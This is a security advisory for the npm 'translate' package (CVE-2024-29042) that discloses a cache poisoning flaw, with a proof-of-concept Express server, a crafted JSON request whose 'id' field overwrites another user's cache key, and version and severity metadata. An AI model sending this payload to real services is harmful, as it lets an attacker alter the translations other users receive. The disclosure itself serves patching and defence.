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Security Advisories: GSA_kwCzR0hTQS04ODJqLTR2ajUtN3Ztas4AA6O1

Cache Poisoning Vulnerability

Summary

An attacker controlling the second variable of the translate function is able to perform a cache poisoning attack. They can change the outcome of translation requests made by subsequent users.

Details

The opt.id parameter allows the overwriting of the cache key. If an attacker sets the id variable to the cache key that would be generated by another user, they can choose the response that user gets served.

PoC

Take the following simple server allowing users to supply text and the language to translate to.

import translate from "translate";
import express from 'express';

const app = express();
app.use(express.json());

app.post('/translate', async (req, res) => {
  const { text, language } = req.body;
  const result = await translate(text, language);
  return res.json(result);
});

const port = 3000;
app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

We can send the following request to poison the cache:

{"text":"I hate you", "language":{"to":"nl","id":"undefined:en:nl:google:I love you"}}

Poisoning the cache

Now, any user that attempts to translate "I love you" to Dutch, will get "I hate you" in Dutch as the response.
The victim gets our poisoned data

Impact

An attacker can control the results other users may get

Permalink: https://github.com/advisories/GHSA-882j-4vj5-7vmj
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04ODJqLTR2ajUtN3Ztas4AA6O1
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: 2 months ago
Updated: 2 months ago


CVSS Score: 5.3
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Identifiers: GHSA-882j-4vj5-7vmj, CVE-2024-29042
References: Repository: https://github.com/franciscop/translate
Blast Radius: 13.9

Affected Packages

npm:translate
Dependent packages: 59
Dependent repositories: 423
Downloads: 19,436 last month
Affected Version Ranges: < 3.0.0
Fixed in: 3.0.0
All affected versions: 0.1.0, 0.3.3, 0.6.0, 0.7.0, 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.1.0, 1.1.1, 1.1.2, 1.2.0, 1.2.1, 1.2.2, 1.2.3, 1.3.0, 1.4.0, 1.4.1, 2.0.0, 2.0.1, 2.0.2
All unaffected versions: 3.0.0